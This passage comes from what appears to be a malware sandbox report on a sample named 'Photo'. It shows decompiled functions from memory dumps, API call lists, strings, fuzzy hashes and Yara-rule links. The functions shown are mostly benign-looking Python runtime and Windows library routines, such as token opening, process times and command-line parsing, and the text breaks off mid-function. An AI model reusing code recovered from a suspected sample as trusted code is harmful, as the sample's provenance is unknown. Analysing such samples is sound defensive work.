Associated: 00000001.00000002.428343835.000000000276F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.428382712.0000000002773000.00000004.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2760000_Photo.jbxd

Similarity

API ID: CloseHandle$C423CodeErr_ErrorExitLastProcessString
String ID: iphr: GetExitCodeProcess() -> STILL_ACTIVE$iphr: OpenProcess() -> ERROR_INVALID_PARAMETER$iphr: exit fun
API String ID: 495567554-1526647775
Opcode ID: 92aa4ec368f8175b0676d6b69069f265a326af5951c0031044e7acfa9d643d80
Instruction ID: 48b7b2398e5f8971d4eb95c645d5477be34b05211c8bfa9a268e0facbfdbe691
Opcode Fuzzy Hash: 92aa4ec368f8175b0676d6b69069f265a326af5951c0031044e7acfa9d643d80
Instruction Fuzzy Hash: B42108F2901310ABDA159B68A84C9BF739DEF45725F648D2AFD12C21C0D738D424DB82

Uniqueness

Uniqueness Score: -1.00%

Function 027680A0 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 68registryCOMMON

Download Yara Rule

APIs

6C0FD040.PDH(00000000,00000000,?), ref: 027680AD
CreateEventW.KERNEL32(00000000,00000000,00000000,LoadUpdateEvent,?,\System\Processor Queue Length,00000000,?,00000000,00000000,?), ref: 027680D7
GetLastError.KERNEL32 ref: 027680E3
PyErr_SetFromWindowsErr.PYTHON27(00000000), ref: 027680EA
PyErr_SetExcFromWindowsErr.PYTHON27(?,00000000,00000000,00000000,?), ref: 02768116
RegisterWaitForSingleObject.KERNEL32(?,00000000,Function_00008020,00000000,000000FF,00000000), ref: 0276813A

Strings

\System\Processor Queue Length, xrefs: 027680C0
LoadUpdateEvent, xrefs: 027680CF

Memory Dump Source

Source File: 00000001.00000002.428343835.0000000002761000.00000040.00000001.01000000.0000000A.sdmp, Offset: 02760000, based on PE: true

Associated: 00000001.00000002.428301903.0000000002760000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.428343835.000000000276B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.428343835.000000000276F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.428382712.0000000002773000.00000004.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2760000_Photo.jbxd

Similarity

API ID: Err_FromWindows$CreateD040ErrorEventLastObjectRegisterSingleWait
String ID: LoadUpdateEvent$\System\Processor Queue Length
API String ID: 1384234052-2418050192
Opcode ID: 16881f44fffc134586414b8839837bdd70161d81398b219283935e252165ad7d
Instruction ID: f129181e5c9bf003eef71d5258e24d5357bef8ea3bb613914c7018e09501c99d
Opcode Fuzzy Hash: 16881f44fffc134586414b8839837bdd70161d81398b219283935e252165ad7d
Instruction Fuzzy Hash: 881182B1A44311EFE714E664EC5DFB737ACEB48715F148918FE45D2180E630D918CA52

Uniqueness

Uniqueness Score: -1.00%

Function 02767000 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 57
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E02767000() {
				void* _v4;
				void* _v8;
				void* _t20;

				_v4 = 0;
				_t20 = GetCurrentProcess();
				if(OpenProcessToken(_t20, 0x28,  &_v4) != 0) {
					L7:
					return _v4;
				} else {
					if(GetLastError() != 0x3f0) {
						E02761090("OpenProcessToken");
						return 0;
					} else {
						if(ImpersonateSelf(2) != 0) {
							if(OpenProcessToken(_t20, 0x28,  &_v8) != 0) {
								goto L7;
							} else {
								E02761090("OpenProcessToken");
								return 0;
							}
						} else {
							E02761090("ImpersonateSelf");
							return 0;
						}
					}
				}
			}

0x02767003
0x02767017
0x02767025
0x02767087
0x0276708e
0x02767027
0x02767032
0x02767079
0x02767086
0x02767034
0x0276703e
0x0276705f
0x00000000
0x02767061
0x02767066
0x02767073
0x02767073
0x02767040
0x02767045
0x02767052
0x02767052
0x0276703e
0x02767032

APIs

GetCurrentProcess.KERNEL32(?,00000000,?,027670D6), ref: 0276700B
OpenProcessToken.ADVAPI32(00000000,00000028,00000000,?,00000000,?,027670D6), ref: 02767021
GetLastError.KERNEL32(?,00000000,?,027670D6), ref: 02767027
ImpersonateSelf.ADVAPI32(00000002,?,00000000,?,027670D6), ref: 02767036
OpenProcessToken.ADVAPI32(00000000,00000028,00000000,?,00000000,?,027670D6), ref: 0276705B

Part of subcall function 02761090: GetLastError.KERNEL32 ref: 027610B2
Part of subcall function 02761090: PyErr_SetFromWindowsErrWithFilename.PYTHON27(00000000), ref: 027610B9

Strings

ImpersonateSelf, xrefs: 02767040
OpenProcessToken, xrefs: 02767074
OpenProcessToken, xrefs: 02767061

Memory Dump Source

Source File: 00000001.00000002.428343835.0000000002761000.00000040.00000001.01000000.0000000A.sdmp, Offset: 02760000, based on PE: true

Associated: 00000001.00000002.428301903.0000000002760000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.428343835.000000000276B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.428343835.000000000276F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.428382712.0000000002773000.00000004.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2760000_Photo.jbxd

Similarity

API ID: Process$ErrorLastOpenToken$CurrentErr_FilenameFromImpersonateSelfWindowsWith
String ID: ImpersonateSelf$OpenProcessToken$OpenProcessToken
API String ID: 2863890154-2646372828
Opcode ID: d10c0ecb93aa4fb7e7396ebf0f1663c64085fc1ceec766ffe1d1b675fabd72c0
Instruction ID: 38d65bb9e41cdac1605288a995427a9bd8f3647d54abaa38952c093b8a5f8d35
Opcode Fuzzy Hash: d10c0ecb93aa4fb7e7396ebf0f1663c64085fc1ceec766ffe1d1b675fabd72c0
Instruction Fuzzy Hash: 5501BCB67442016AFB2466B8FC0DBBBB798DB806A6F14483AFE0AD5140FB30C4144662

Uniqueness

Uniqueness Score: -1.00%

Function 1E7A9D80 Relevance: 14.0, APIs: 6, Strings: 2, Instructions: 38memorythreadCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(0000001E), ref: 1E7A9D86
Py_FatalError.PYTHON27(Can not setup thread state, as have no interpreter state), ref: 1E7A9DA5
LocalAlloc.KERNEL32(00000040,00000008), ref: 1E7A9DAE
Py_FatalError.PYTHON27(Out of memory allocating thread state.), ref: 1E7A9DBF
TlsSetValue.KERNEL32(0000001E,00000000), ref: 1E7A9DCC
PyThreadState_New.PYTHON27(027A10E0), ref: 1E7A9DD9

Strings

Can not setup thread state, as have no interpreter state, xrefs: 1E7A9DA0
Out of memory allocating thread state., xrefs: 1E7A9DBA

Memory Dump Source

Source File: 00000001.00000002.431833661.000000001E7A1000.00000040.00000001.01000000.0000000D.sdmp, Offset: 1E7A0000, based on PE: true

Associated: 00000001.00000002.431821077.000000001E7A0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431833661.000000001E7B9000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431833661.000000001E7BE000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431880454.000000001E7C0000.00000080.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431889845.000000001E7C2000.00000004.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1e7a0000_Photo.jbxd

Similarity

API ID: ErrorFatalValue$AllocLocalState_Thread
String ID: Can not setup thread state, as have no interpreter state$Out of memory allocating thread state.
API String ID: 3600802575-1986847906
Opcode ID: 42593f1696647a1e39e34ad80d04acaacefa0ea70ee96c376192e1d4e8205d7d
Instruction ID: 02c821237aed1d2be1ce2a8a87b801ef64a015cd8954d7c4338948cbec037909
Opcode Fuzzy Hash: 42593f1696647a1e39e34ad80d04acaacefa0ea70ee96c376192e1d4e8205d7d
Instruction Fuzzy Hash: A6F062B1600225ABF311AB68FCC4A8737ADEFCC256B1D0624F645D6654E631D892CB91

Uniqueness

Uniqueness Score: -1.00%

Function 02761800 Relevance: 13.6, APIs: 9, Instructions: 94
timeCOMMON

Download Yara Rule

C-Code - Quality: 57%

			E02761800(void* __esi, long long __fp0, intOrPtr _a8) {
				struct _FILETIME _v8;
				struct _FILETIME _v16;
				struct _FILETIME _v24;
				intOrPtr _v36;
				char _v40;
				intOrPtr _v56;
				struct _FILETIME* _v60;
				intOrPtr _v64;
				void* _t11;
				void* _t12;
				int _t17;
				void* _t20;
				long _t25;
				void* _t34;
				struct _FILETIME* _t36;
				void* _t38;
				void* _t43;
				void** _t44;
				void** _t46;

				_t11 =  *0x2769308(_a8, "l", _t43);
				_t44 = _t43 + 0xc;
				if(_t11 != 0) {
					_t12 =  *_t44;
					__eflags = _t12;
					if(__eflags == 0) {
						L11:
						_push(0);
						_push(0);
						return E02761300(_t34, __eflags);
					} else {
						__eflags = _t12 - 4;
						if(__eflags == 0) {
							goto L11;
						} else {
							_t38 = E027660C0(_t12, 0x1000);
							_t46 =  &(_t44[2]);
							__eflags = _t38;
							if(_t38 == 0) {
								L9:
								__eflags = 0;
								return 0;
							} else {
								_t36 =  &_v40;
								_t17 = GetProcessTimes(_t38, _t36,  &_v8,  &_v16,  &_v24);
								__eflags = _t17;
								if(_t17 != 0) {
									CloseHandle(_t38);
									_t20 = E02768280(_v36, 0, 0, 1);
									asm("adc edx, esi");
									__eflags = _t20 + _v56 - 0xd53e8000;
									asm("sbb edx, 0x19db1de");
									_v64 = E027682C0(_t20 + _v56 - 0xd53e8000, _t36, 0x989680, 0);
									_v60 = _t36;
									asm("fild qword [esp+0x10]");
									 *((long long*)(_t46 - 8)) = __fp0;
									return  *0x27692b4("d");
								} else {
									_t25 = GetLastError();
									__eflags = _t25 - 5;
									if(_t25 != 5) {
										 *0x27692b8(0);
										CloseHandle(_t38);
										goto L9;
									} else {
										E02761020(0x276d7d8);
										CloseHandle(_t38);
										__eflags = 0;
										return 0;
									}
								}
							}
						}
					}
				} else {
					return _t11;
				}
			}

0x02761811
0x02761817
0x0276181c
0x02761822
0x02761825
0x02761827
0x02761907
0x02761907
0x02761909
0x02761916
0x0276182d
0x0276182d
0x02761830
0x00000000
0x02761836
0x02761842
0x02761844
0x02761847
0x02761849
0x027618a2
0x027618a2
0x027618a8
0x0276184b
0x0276185a
0x02761860
0x02761866
0x02761868
0x027618aa
0x027618bb
0x027618c8
0x027618cb
0x027618d5
0x027618e2
0x027618e6
0x027618ea
0x027618f1
0x02761906
0x0276186a
0x0276186a
0x02761870
0x02761873
0x02761892
0x0276189c
0x00000000
0x02761875
0x0276187a
0x02761883
0x02761889
0x0276188f
0x0276188f
0x02761873
0x02761868
0x02761849
0x02761830
0x02761821
0x02761821
0x02761821

APIs

PyArg_ParseTuple.PYTHON27(?,0276B21C), ref: 02761811
GetProcessTimes.KERNEL32(00000000,?,?,?,?), ref: 02761860
GetLastError.KERNEL32 ref: 0276186A
CloseHandle.KERNEL32(00000000), ref: 02761883

Memory Dump Source

Source File: 00000001.00000002.428343835.0000000002761000.00000040.00000001.01000000.0000000A.sdmp, Offset: 02760000, based on PE: true

Associated: 00000001.00000002.428301903.0000000002760000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.428343835.000000000276B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.428343835.000000000276F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.428382712.0000000002773000.00000004.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2760000_Photo.jbxd

Similarity

API ID: Arg_CloseErrorHandleLastParseProcessTimesTuple
String ID:
API String ID: 459457561-0
Opcode ID: 2281a279ff1ada8b96afb6bdd17ee3cc654369210b8a7f80ea920a44b8cf7543
Instruction ID: 501c74d08bda22a15872dd696697a183fc7db236058c3e9602cda1e9852f2ac9
Opcode Fuzzy Hash: 2281a279ff1ada8b96afb6bdd17ee3cc654369210b8a7f80ea920a44b8cf7543
Instruction Fuzzy Hash: 6D2101B1D44300ABEA14EB789C4EBBB37E9AF88709F848818FD49D1240E774961887D3

Uniqueness

Uniqueness Score: -1.00%

Function 1E7A5C80 Relevance: 13.6, APIs: 9, Instructions: 76COMMON

Download Yara Rule

APIs

GetSecurityDescriptorDacl.ADVAPI32(?,?,?,?), ref: 1E7A5C99
6C423B4E.MSVCR90(?), ref: 1E7A5CB9
GetSecurityDescriptorSacl.ADVAPI32(?,?,?,?), ref: 1E7A5CCE
6C423B4E.MSVCR90(?), ref: 1E7A5CE8
GetSecurityDescriptorOwner.ADVAPI32(?,?,?), ref: 1E7A5CF8
6C423B4E.MSVCR90(?), ref: 1E7A5D0B
GetSecurityDescriptorGroup.ADVAPI32(?,?,?), ref: 1E7A5D1B
6C423B4E.MSVCR90(?), ref: 1E7A5D2E
6C423B4E.MSVCR90(?), ref: 1E7A5D34

Memory Dump Source

Source File: 00000001.00000002.431833661.000000001E7A1000.00000040.00000001.01000000.0000000D.sdmp, Offset: 1E7A0000, based on PE: true

Associated: 00000001.00000002.431821077.000000001E7A0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431833661.000000001E7B9000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431833661.000000001E7BE000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431880454.000000001E7C0000.00000080.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431889845.000000001E7C2000.00000004.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1e7a0000_Photo.jbxd

Similarity

API ID: C423$DescriptorSecurity$DaclGroupOwnerSacl
String ID:
API String ID: 1303526252-0
Opcode ID: 5a1ce0a8762c85eb06294ef2ed9528e8ccf8a3cdc27f7cb8a98f24e3d4c5b1be
Instruction ID: 222309c54225b00aab60f7211085585789880f875b30bbe1ee63aa097882f385
Opcode Fuzzy Hash: 5a1ce0a8762c85eb06294ef2ed9528e8ccf8a3cdc27f7cb8a98f24e3d4c5b1be
Instruction Fuzzy Hash: DA211871604306ABE704DE65DD94AAB77ADBEC4A54F094E2DFA95C2150EB30E108CFA2

Uniqueness

Uniqueness Score: -1.00%

Function 100032B0 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 115COMMON

Download Yara Rule

APIs

PyInt_FromLong.PYTHON27(?), ref: 10003341
PyInt_FromLong.PYTHON27(00000010), ref: 1000337E
PyInt_FromLong.PYTHON27(?), ref: 100033BA
Py_FindMethod.PYTHON27(1000854C,?,?), ref: 100033D0

Strings

key_size, xrefs: 10003389
block_size, xrefs: 1000334C
mode, xrefs: 10003303

Memory Dump Source

Source File: 00000001.00000002.431765876.0000000010001000.00000040.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000001.00000002.431757936.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.431765876.0000000010008000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.431765876.000000001000A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.431800148.000000001000B000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.431809437.000000001000D000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_10000000_Photo.jbxd

Similarity

API ID: FromInt_Long$FindMethod
String ID: block_size$key_size$mode
API String ID: 789300058-2619574452
Opcode ID: 8628cc8d67ca16e86f029ec51c1a982451f384ed6aea0ff690cfda1439db27aa
Instruction ID: 0d9a511a17ff405297726bf45caefa0f54e383f3a8d4cc0e4600248a1689725e
Opcode Fuzzy Hash: 8628cc8d67ca16e86f029ec51c1a982451f384ed6aea0ff690cfda1439db27aa
Instruction Fuzzy Hash: 3E31A5752181C11AE3028F3459D26A73BDFDF421E4B4AC594E9C6CB299EA23CE4DC346

Uniqueness

Uniqueness Score: -1.00%

Function 02766630 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 104
COMMON

Download Yara Rule

C-Code - Quality: 49%

			E02766630(long _a4, int _a8) {
				char _v0;
				short* _v4;
				char _v8;
				short* _v12;
				void* _v16;
				void* _t30;
				short* _t31;
				intOrPtr* _t40;
				intOrPtr _t43;
				short* _t47;
				intOrPtr _t49;
				intOrPtr* _t55;
				void* _t57;
				void* _t59;
				signed int _t60;
				short** _t65;

				_t60 = 0;
				_t47 = 0;
				_v4 = 0;
				_v12 = 0;
				if(_a8 != 1) {
					_push( &_v8);
					_push( &_v12);
					_t30 = E027664B0(_a4);
					_t65 =  &(( &_v12)[2]);
				} else {
					_push( &_v8);
					_push( &_v12);
					_t30 = E02766100(_a4, 0);
					_t65 =  &(( &_v12)[3]);
				}
				if(_t30 != _t60) {
					L18:
					_t31 = _v12;
					if(_t31 != _t60) {
						 *0x2769214(_t31);
						_t65 =  &(_t65[1]);
					}
					if(_t47 != _t60) {
						 *_t47 =  *_t47 + 0xffffffff;
						if( *_t47 == 0) {
							 *((intOrPtr*)( *((intOrPtr*)(_t47[2] + 0x18))))(_t47);
						}
					}
					return _v4;
				} else {
					_t57 = CommandLineToArgvW(_v12,  &_a8);
					_v16 = _t57;
					if(_t57 != _t60) {
						_t47 =  *0x27692a4(_v0);
						_t65 =  &(_t65[1]);
						if(_t47 == _t60) {
							L15:
							_t60 = 0;
							if(_t57 != 0) {
								LocalFree(_t57);
							}
							goto L18;
						}
						if(_v0 <= _t60) {
							L13:
							_v12 = _t47;
							_t47 = 0;
							L14:
							goto L15;
						}
						do {
							_t55 =  *((intOrPtr*)(_t57 + _t60 * 4));
							_t40 = _t55;
							_t59 = _t40 + 2;
							do {
								_t49 =  *_t40;
								_t40 = _t40 + 2;
							} while (_t49 != 0);
							_t43 = _v0(_t55, _t40 - _t59 >> 1);
							_t57 = _v16;
							_t65 =  &(_t65[2]);
							if(_t43 == 0) {
								goto L14;
							}
							 *((intOrPtr*)(_t47[6] + _t60 * 4)) = _t43;
							_t60 = _t60 + 1;
						} while (_t60 < _v0);
						goto L13;
					}
					E02761090("CommandLineToArgvW");
					_t65 =  &(_t65[1]);
					goto L15;
				}
			}

0x02766635
0x02766637
0x0276663e
0x02766642
0x02766646
0x02766665
0x0276666a
0x0276666f
0x02766674
0x02766648
0x0276664c
0x02766655
0x02766657
0x0276665c
0x0276665c
0x02766679
0x02766720
0x02766720
0x02766726
0x02766729
0x0276672f
0x0276672f
0x02766734
0x02766736
0x02766739
0x02766742
0x02766744
0x02766739
0x02766750
0x0276667f
0x02766690
0x02766692
0x02766698
0x027666b4
0x027666b6
0x027666bb
0x02766712
0x02766712
0x02766716
0x02766719
0x02766719
0x00000000
0x0276671f
0x027666c2
0x0276670b
0x0276670b
0x0276670f
0x02766711
0x00000000
0x02766711
0x027666d0
0x027666d0
0x027666d3
0x027666d5
0x027666e0
0x027666e0
0x027666e3
0x027666e6
0x027666f1
0x027666f3
0x027666f7
0x027666fc
0x00000000
0x00000000
0x02766701
0x02766704
0x02766705
0x00000000
0x027666d0
0x0276669f
0x027666a4
0x00000000
0x027666a4

APIs

CommandLineToArgvW.SHELL32(?,?,?,?,?,02761B15,?,00000000), ref: 0276668A
PyList_New.PYTHON27(?,?,?,?,02761B15,?,00000000), ref: 027666AE
PyUnicodeUCS2_FromWideChar.PYTHON27(?,?,?,?,?,?,02761B15,?,00000000), ref: 027666F1
LocalFree.KERNEL32(00000000,?,?,?,02761B15,?,00000000), ref: 02766719
6C423B4E.MSVCR90(?,?,?,02761B15,?,00000000), ref: 02766729

Part of subcall function 02766100: GetCurrentProcess.KERNEL32(?,?,00000000), ref: 0276614F
Part of subcall function 02766100: IsWow64Process.KERNEL32(00000000,?,00000000), ref: 0276615C
Part of subcall function 02766100: IsWow64Process.KERNEL32(00000000,?,?,00000000), ref: 0276616C
Part of subcall function 02766100: PyErr_Clear.PYTHON27(?,?,?,00000000), ref: 027661AE
Part of subcall function 02766100: CloseHandle.KERNEL32(00000000,?,?,00000000), ref: 02766488
Part of subcall function 02766100: 6C423B4E.MSVCR90(00000000,?,?,00000000), ref: 02766493

Strings

CommandLineToArgvW, xrefs: 0276669A
N;Bl, xrefs: 02766729

Memory Dump Source

Source File: 00000001.00000002.428343835.0000000002761000.00000040.00000001.01000000.0000000A.sdmp, Offset: 02760000, based on PE: true

Associated: 00000001.00000002.428301903.0000000002760000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.428343835.000000000276B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.428343835.000000000276F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.428382712.0000000002773000.00000004.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2760000_Photo.jbxd

Similarity

API ID: Process$C423Wow64$ArgvCharClearCloseCommandCurrentErr_FreeFromHandleLineList_LocalUnicodeWide
String ID: CommandLineToArgvW$N;Bl
API String ID: 276074252-2417530130
Opcode ID: b381bdc6cda4c52d3b7583e5bc31272a2edb512b62d63f6c4b1ad11eb01ba4bf
Instruction ID: d0a999ce4010677c2fdfb9fe6b42c05a5f41c4999f261156e9c6db00231631ad
Opcode Fuzzy Hash: b381bdc6cda4c52d3b7583e5bc31272a2edb512b62d63f6c4b1ad11eb01ba4bf
Instruction Fuzzy Hash: C631BEB69043029FC711CF58D88897BB7ACFB84614F488929FD8597200E739E919CBD2

Uniqueness

Uniqueness Score: -1.00%

Function 027627A0 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 86COMMON

Download Yara Rule

APIs

PyArg_ParseTuple.PYTHON27 ref: 027627BD
QueryDosDeviceA.KERNEL32(?,?,000001FF), ref: 02762817
Py_BuildValue.PYTHON27(0276B4AC,0276D7E2,?,?,?,?,?), ref: 02762866

Strings

%c:, xrefs: 0276287E
:, xrefs: 027627F3
A, xrefs: 027627B8

Memory Dump Source

Source File: 00000001.00000002.428343835.0000000002761000.00000040.00000001.01000000.0000000A.sdmp, Offset: 02760000, based on PE: true

Associated: 00000001.00000002.428301903.0000000002760000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.428343835.000000000276B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.428343835.000000000276F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.428382712.0000000002773000.00000004.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2760000_Photo.jbxd

Similarity

API ID: Arg_BuildDeviceParseQueryTupleValue
String ID: %c:$:$A
API String ID: 1455332766-2475154457
Opcode ID: 4bc50dbc1f752b90170c8cdea53f3b45266dfd36abe8288636d6b837db590afa
Instruction ID: 030c8b0b84b343b31a506ef2f78d578e7c81480122fdafacc37d128c6a9c3f28
Opcode Fuzzy Hash: 4bc50dbc1f752b90170c8cdea53f3b45266dfd36abe8288636d6b837db590afa
Instruction Fuzzy Hash: BD2156711883829FD310DB249C8AABB7F999F65308F88885CFDD896142E235C10DC363

Uniqueness

Uniqueness Score: -1.00%

Function 1E7A3A40 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 74COMMON

Download Yara Rule

APIs

PyErr_SetString.PYTHON27(?,Attributes of PyDEVMODEW can't be deleted), ref: 1E7A3A56
?PyWinObject_AsWCHAR@@YAHPAU_object@@PAPA_WHPAK@Z.PYWINTYPES27(?,?,00000000), ref: 1E7A3A70
PyErr_Format.PYTHON27(00000000,FormName must be a string of length %d or less,00000020), ref: 1E7A3A96

Strings

Attributes of PyDEVMODEW can't be deleted, xrefs: 1E7A3A50
FormName must be a string of length %d or less, xrefs: 1E7A3A90

Memory Dump Source

Source File: 00000001.00000002.431833661.000000001E7A1000.00000040.00000001.01000000.0000000D.sdmp, Offset: 1E7A0000, based on PE: true

Associated: 00000001.00000002.431821077.000000001E7A0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431833661.000000001E7B9000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431833661.000000001E7BE000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431880454.000000001E7C0000.00000080.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431889845.000000001E7C2000.00000004.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1e7a0000_Photo.jbxd

Similarity

API ID: Err_$FormatObject_StringU_object@@
String ID: Attributes of PyDEVMODEW can't be deleted$FormName must be a string of length %d or less
API String ID: 3091456408-1246865284
Opcode ID: b0b2a621e3cd29fbb1ef48cac05c5b3783e16b13afcbe363158ff246f65906c2
Instruction ID: 34147de5273fc6723aa3a43a422c84ae5e74b115463889f16f71a8b1b0baf932
Opcode Fuzzy Hash: b0b2a621e3cd29fbb1ef48cac05c5b3783e16b13afcbe363158ff246f65906c2
Instruction Fuzzy Hash: 5F118176510245ABE614DE64EC84E6B73A9EBC9724F184F0CF7558B290D771F900C761

Uniqueness

Uniqueness Score: -1.00%

Function 1E7A3940 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 71COMMON

Download Yara Rule

APIs

PyErr_SetString.PYTHON27(?,Attributes of PyDEVMODEW can't be deleted), ref: 1E7A3956
?PyWinObject_AsWCHAR@@YAHPAU_object@@PAPA_WHPAK@Z.PYWINTYPES27(?,?,00000000), ref: 1E7A3970
PyErr_Format.PYTHON27(00000000,DeviceName must be a string of length %d or less,00000020), ref: 1E7A3996

Strings

Attributes of PyDEVMODEW can't be deleted, xrefs: 1E7A3950
DeviceName must be a string of length %d or less, xrefs: 1E7A3990

Memory Dump Source

Source File: 00000001.00000002.431833661.000000001E7A1000.00000040.00000001.01000000.0000000D.sdmp, Offset: 1E7A0000, based on PE: true

Associated: 00000001.00000002.431821077.000000001E7A0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431833661.000000001E7B9000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431833661.000000001E7BE000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431880454.000000001E7C0000.00000080.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431889845.000000001E7C2000.00000004.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1e7a0000_Photo.jbxd

Similarity

API ID: Err_$FormatObject_StringU_object@@
String ID: Attributes of PyDEVMODEW can't be deleted$DeviceName must be a string of length %d or less
API String ID: 3091456408-3347017950
Opcode ID: fbeec3aa1ef59b10993b6cc58d0de261b607339bdc525ef397c4bc7c09ef7dc6
Instruction ID: 0cef02498d37982372ec0ecdf2db14641c33a1677961140129b389083f78e686
Opcode Fuzzy Hash: fbeec3aa1ef59b10993b6cc58d0de261b607339bdc525ef397c4bc7c09ef7dc6
Instruction Fuzzy Hash: 6911AFB5614201ABF214DF68ECC4E6BB3A9ABC9724F184F08F755972A0D770E800C762

Uniqueness

Uniqueness Score: -1.00%

Function 1E7A4590 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 70registryCOMMON

Download Yara Rule

APIs

PyErr_SetString.PYTHON27(?,HANDLE must be a PyHKEY), ref: 1E7A45E6
?PyWinObject_AsHANDLE@@YAHPAU_object@@PAPAX@Z.PYWINTYPES27(?,?), ref: 1E7A4605
RegCloseKey.ADVAPI32(?), ref: 1E7A4618
?PyWin_SetAPIError@@YAPAU_object@@PADJ@Z.PYWINTYPES27(RegCloseKey,00000000), ref: 1E7A4631

Strings

RegCloseKey, xrefs: 1E7A462C
PyHKEY, xrefs: 1E7A45A9
HANDLE must be a PyHKEY, xrefs: 1E7A45E0

Memory Dump Source

Source File: 00000001.00000002.431833661.000000001E7A1000.00000040.00000001.01000000.0000000D.sdmp, Offset: 1E7A0000, based on PE: true

Associated: 00000001.00000002.431821077.000000001E7A0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431833661.000000001E7B9000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431833661.000000001E7BE000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431880454.000000001E7C0000.00000080.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431889845.000000001E7C2000.00000004.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1e7a0000_Photo.jbxd

Similarity

API ID: U_object@@$CloseErr_Error@@Object_StringWin_
String ID: HANDLE must be a PyHKEY$PyHKEY$RegCloseKey
API String ID: 2805645888-2645764861
Opcode ID: 987432d869663844b0d89ac1746268ec3931707aa5c3cfc2f28da87d96c7a3d9
Instruction ID: f1db0c4d011a0f6fc9e900068e1735880040ca1d671a60f2e96175c49714b797
Opcode Fuzzy Hash: 987432d869663844b0d89ac1746268ec3931707aa5c3cfc2f28da87d96c7a3d9
Instruction Fuzzy Hash: 6C11013A7141529BE300DB38FC64A9BB7E69FD9220B0D8765EA45C7264F732EC40CB90

Uniqueness

Uniqueness Score: -1.00%

Function 027639B0 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 68
COMMON

Download Yara Rule

C-Code - Quality: 28%

			E027639B0(intOrPtr _a8) {
				intOrPtr _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				intOrPtr _v28;
